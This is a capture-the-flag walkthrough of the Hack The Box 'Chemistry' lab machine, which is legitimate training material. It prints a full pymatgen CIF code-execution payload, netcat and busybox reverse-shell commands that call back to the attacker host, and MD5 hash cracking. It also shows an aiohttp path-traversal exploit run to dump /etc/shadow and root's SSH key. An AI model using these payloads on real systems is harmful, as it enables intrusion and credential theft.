![[chem1.png]]
## Overview
[Chemistry](https://www.hackthebox.com/machines/chemistry)
**Chemistry** is an easy-difficulty Linux machine that involves exploiting a vulnerability in the `.cif` file format to establish an initial foothold on the machine from which you will pivot to an additional user and finally use that access to exploit an **LFI/Path Traversal** vulnerability in a specific python http client in order to become root.
## Enumeration
Initial Nmap Scan.
```
$ nmap -T4 -n -sC -sV -Pn -p- 10.129.231.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 21:48 CST
Nmap scan report for 10.129.231.170
Host is up (0.083s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Wed, 27 Nov 2024 03:49:34 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7....
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Scan results show only two ports open, with `SSH` running on `22` and something else on `5000`. Nmap service detection guesses that `upnp` (`Universal Plug and Play`) is running on Port `5000` as that is it's default port however it actually looks like a web server is running there instead. Let's run run a quick additional Nmap scan just to confirm that only those two ports are open.
```
$ nmap -sS -p- -n -Pn --min-rate=9362 10.129.231.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 21:53 CST
Nmap scan report for 10.129.231.170
Host is up (0.083s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
11539/tcp filtered unknown
19548/tcp filtered unknown
....[snipped]....
```
Now we can 100% confirm that only 22 and 5000 are open. Nmap service detection gave us some indication that there is some sort of website that we can browse to. Let's open it up in our browser and see what we're working with.
![[chem2.png]]
https://en.wikipedia.org/wiki/Crystallographic_Information_File
From first glance we see that it appears to be analyzer tool for `CIF` files. Not having heard of `CIF` files before I did a bit of googling and it appears to just be a specific text file format for representing crystallographic information. Let's go ahead and click on the register button and see what we can do.
After clicking on `Register` it looks like we are given the ability to create an account. I created an account with the username `newuser` and password `newpass`. After registering for an account, you will be logged in and met with the following screen.
![[chem3.png]]
If we download the `example.cif` file provided to us we can open it up on our machine and see that just as we expected, it is essentially just a text file formatted to display crystallographic data. If we upload this file and view it we can see that the data is formatted out into tables.
![[chem4.png]]
Immediately, alarm bells should be going off in your head. Anything web application that allows us to upload files means that we have a possible opportunity to upload something that could help us establish a foothold on the machine.
```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.9.5
Date: Wed, 27 Nov 2024 03:56:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 719
Vary: Cookie
Connection: close
```
If we go back to our initial nmap scan, we can see the initial GET request/banner grab made which indicates that `Werkzeug 3.0.3` and `Python 3.9.5` is running on the server. I did a good amount of digging and googling online looking for potential vulnerabilities and associated exploits for each of these however I came up empty handed. With nothing else to go on, I decided to do some research on `.cif` files and see if any potential for exploitation in regard to the specific formatting of `.cif` files.
## Initial Access
https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
After doing a bit of googling, low and behold I came across a GitHub security advisory for the `pymatgen` library (Python Materials Genomics) describing a vulnerability in how the `JonesFaithfulTransformation.from_transformation_str()` method processes input using `eval()`, which could allow for arbitrary code execution using a specially crafted .`cif` file. We know for sure that Python is running on the server and although we don't know 100% if `pymatgen` is, we could make an educated guess that it is.
```
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
```
https://revshells.com/
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
If we examine the exploit code, we can see there is an example provided by the author of arbitrary code execution with the `touch pwned` command in between the quotes and parentheses. Although there is an opportunity for us to do quite a few things here, I think the most important is to try an execute a reverse shell. Go ahead and start a `Netcat` listener on your machine and then go ahead a copy the exploit code to a newly created file called `shell.cif` on our machine and replace the `touch pwned` command with a simple `Netcat` reverse shell `nc -e /bin/sh 10.0.0.1 4242` that we can create from `revshells.com` or pull from the cheatsheet repo. Make sure to replace the IP and port with your attacker machine's IP address and the port your `Netcat` listener is listening on.
```
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.231.170] 45370
```
Now we need to upload the `shell.cif` file to the site and, after successfully uploading it, click on `view` to open the file. The request should hang if we are successful.
Hey, that worked...kinda! We successfully received a connection from the target meaning that the exploit worked, however there is no way for us to run commands unfortunately meaning there is no way for us to upgrade to a fully interactive shell. We will likely need to try a different reverse shell and see if we cant get a semi-interactive shell at the minimum.
I tried out a few different reverse shells and unfortunately all of them failed until I got to the `busybox netcat` reverse shell. I added the following line to the exploit code `busybox nc -e /bin/sh 10.10.14.5 1337` and uploaded the malicious `shell.cif` file once more before starting my listener and viewing the file...
```
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.231.170] 40584
pwd
/home/app
whoami
app
uname -a
Linux chemistry 5.4.0-196-generic #216-Ubuntu SMP Thu Aug 29 13:26:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```
That was the one it looks like. We now have a semi-interactive shell that we can at the very minimum run commands on. This is obviously a good starting point but let's go ahead and try upgrading our shell using the `python pty` method.
https://zweilosec.github.io/posts/upgrade-linux-shell/
First we check the version of `python` that is running and we see that it is in fact `python3`. Now we just need to specify `python3` at the beginning of the shell upgrade command before running it.
```
which python python2 python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
app@chemistry:~$ whoami
app
```
You can take this further and upgrade to an even more full TTY shell using the resource I provided which will allow for additional functionality like tab autocompletion and preventing `CTRL-C` from killing the shell. Once you have a fully interactive TTY shell, let's do a bit of enumeration ourselves to see what if we can find anything interesting before uploading and running an enumeration script like linPEAS.
```
app@chemistry:~$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 1039/python3.9
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
```
The first thing I did was run `netstat -tnlp` in order to view the active connections. We see there appears to be something running on Port `8080` that was not found during our initial `nmap` scan. This indicates to me there is likely another web server being hosted on Port `8080` however we cannot access it yes as we will need to locally forward the port to our machine using SSH but in order to do that we will need user credentials which we do not have yet.
If we display the contents of the `/home` directory we can see alongside the app user there is another folder for a user named `rosa`. This is likely the user we will need to gain access as in order to obtain the user flag and escalate to root from. Doing some more digging around in the /home/app folder we see a `python` file called `app.py` and a few directories. Let's take a look inside each one and see if we can't find anything that sticks out.
```
app@chemistry:~$ pwd
/home/app
app@chemistry:~$ ls -l
total 24
-rw------- 1 app app 5852 Oct 9 20:08 app.py
drwx------ 2 app app 4096 Nov 27 05:30 instance
drwx------ 2 app app 4096 Oct 9 20:13 static
drwx------ 2 app app 4096 Oct 9 20:18 templates
drwx------ 2 app app 4096 Nov 27 05:20 uploads
app@chemistry:~$
```
If cd into the instance folder we see there is a file inside called `database.db` that for me at least, would not display properly when attempting to display the contents with the `cat` command. We really don't know what type of file this is however my first thought was to try to figure out a way for us to download this file to our attacker machine.
Knowing we don't have credentials to run a secure copy command, I decided to just spawn a python HTTP server from inside the instance directory and download it that way. You can do this by running `python3 -m http.server 8000` and then browsing to the target's IP on Port `8000`. You should see the `database.db` file there from which you can download it to your machine.
![[chem5.png]]
Once you have it on your attacker machine, you should be able to display the contents of the file using something as simple as `cat database.db` and the output of the file should look something like the following.
![[chem6.png]]
https://crackstation.net/
Briefly examining the contents of the `database.db` file we see usernames followed by strings of random characters that resemble hashes. We can even see the username for the new users we created earlier when registering for the website. Let's copy the string of characters following the username for my user account and throw it in `crackstation` to see what we're working with.
Once you complete the captcha and click `Crack Hashes` you should see the password you created for the user your registered earlier and that the hash format is MD5, which is trivial to crack. Although I am usually blind and need to `grep` files like this one for keywords I actually managed to see the `rosa` user and her hash hidden in the text!
![[chem7.png]]
Go ahead and copy her password hash and paste it into `crackstation` and crack it! Or you can always use `hashcat` or `john` to crack it if you need additional practice. Once you have it, let's go ahead and try to log in via `SSH` as the `rosa` user with her credentials.
```
$ ssh
[email protected]
The authenticity of host '10.129.231.170 (10.129.231.170)' can't be established.
ED25519 key fingerprint is SHA256:pCTpV0QcjONI3/FCDpSD+5DavCNbTobQqcaz7PC6S8k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.231.170' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
....[snipped]....
rosa@chemistry:~$ cat user.txt
{REDACT3D FL@G}
```
We have successfully obtained the `user.txt` flag. The good thing is we don't really need to do any additional enumeration as now we have the credentials needed to locally port forward the web server on Port `8080` we found earlier. Let's go ahead and do that.
## Privilege Escalation
We know there is something running on localhost Port `8080`. Let's run a SSH local port forward command using the `rosa` user's credentials so we can access it.
```
$ ssh -L 8080:127.0.0.1:8080
[email protected]
```
![[chem8.png]]
Visiting the page shows that it appears to be some sort of web server management panel. We can see a list of services if we click `List Services` however clicking on the `Stop Service` and `Start Service` buttons return errors. Let's do a banner grab with curl to see what is running.
```
$ curl -I 127.0.0.1:8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Wed, 27 Nov 2024 05:57:00 GMT
Server: Python/3.9 aiohttp/3.9.1
```
Looks like something called `aiohttp 3.9.1` is running. I don't know anything about `aiohttp` however the `pypi` page for it indicates that it is an `async http client/server framework`.
https://pypi.org/project/aiohttp/
https://github.com/wizarddos/CVE-2024-23334
https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5h86-8mv2-jq9f
https://book.hacktricks.xyz/pentesting-web/file-inclusion
As we did with the .`cif` arbitrary code execution exploit earlier, let's google around and see if there are any known vulnerabilities and associated PoC exploits for this version of `aiohttp` server. Immediately we come across an entry for `CVE-2024-23334` which is an `LFI/Path Traversal` vulnerability for `aiohttp` versions 3.9.1 and below. We even find a PoC exploit for it that we can download. However, if we read the advisory page for the vulnerability we see that we need the name of the web server directory hosting static resources. Let's try brute-forcing it with `ffuf` or whichever tool you like to use.
```
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://127.0.0.1:8080/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://127.0.0.1:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
....[snipped]....
assets [Status: 403, Size: 14, Words: 2, Lines: 1, Duration: 83ms]
[Status: 200, Size: 5971, Words: 2391, Lines: 153, Duration: 75ms]
:: Progress: [220560/220560] :: Job [1/1] :: 533 req/sec :: Duration: [0:07:49] :: Errors: 0 ::
```
Looks like `ffuf` found it, now we when running the exploit we can specify the `/assets` directory. Now...let's go ahead and run the exploit and test it by seeing if we can display the contents of `/etc/shadow`.
```
$ python3 exploit.py -u http://127.0.0.1:8080/ -f ../../../etc/shadow -d assets
[+] Attempt 0
Payload: assets/..../../../etc/shadow
Status code: 404
[+] Attempt 1
Payload: assets/../..../../../etc/shadow
Status code: 404
[+] Attempt 2
Payload: assets/../../..../../../etc/shadow
Status code: 200
Respose:
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3/poCT6OfBkRpl.:19891:0:99999:7:::
rosa:$6$giyD4I2YumzG4k6.$0h0Gtrjj13qoK6m0XevedDBanbEz6BStzsLwUtrDm5sVkmnHOSSWF8f6W8B9btTEzyskmA2h/7F7gyvX1fzrT0:19893:0:99999:7:::
app:$6$XUL17hADm4qICsPv$QvCHMOImUTmS1jiaTQ2t6ZJtDAzgkqRhFYOMd0nty3lLwpyxTiyMWRgO/jbySPENinpJlL0z3MK1OVEaG44sQ1:19890:0:9999
```
And it worked! Now there's a few different routes we could go down here, but I decided to go with the ol' reliable technique of grabbing the root user's SSH private key. We can do this by replacing path `/etc/shadow` with `/root/.ssh/id_rsa` and running the exploit again.
```
$ python3 exploit.py -u http://127.0.0.1:8080/ -f ../../../root/.ssh/id_rsa -d assets
[+] Attempt 0
Payload: assets/..../../../root/.ssh/id_rsa
Status code: 404
[+] Attempt 1
Payload: assets/../..../../../root/.ssh/id_rsa
Status code: 404
[+] Attempt 2
Payload: assets/../../..../../../root/.ssh/id_rsa
Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
....[snipped]....
giZfQtMfGAqJkPIUbp2QKKY/y6MENIk5pwo2KfJYI/pH0zM9l94eRYyqGHdbWj4GPD8NRK
OlOfMO4xkLwj4rPIcqbGzi0Ant/O+V7NRN/mtx7xDL7oBwhpRDE1Bn4ILcsneX5YH/XoBh
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----
```
Success, now we can simply just create a file on our attacker machine called `id_rsa` and copy/paste the root user's private key contents into the file, save it, and then use it to authenticate to the target as the root user. However, make sure to set the correct permissions on the file with `chmod 600` otherwise you will be told that the key is too open.
```
$ chmod 600 id_rsa
$ ssh -i id_rsa
[email protected]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
....[snipped]....
root@chemistry:~# cat root.txt
{REDACT3D FL@G}
```
Fantastic work gentlemen...another machine down and we're on to the next.
## Conclusion
Overall this was a fun but fairly easy machine which makes sense considering it's stated difficulty, however it was still a lot of fun to exploit and root. I am glad I didn't have too many hiccups establishing an initial foothold as I know from experience that can often times be a very frustrating process.
![[chem9.png]]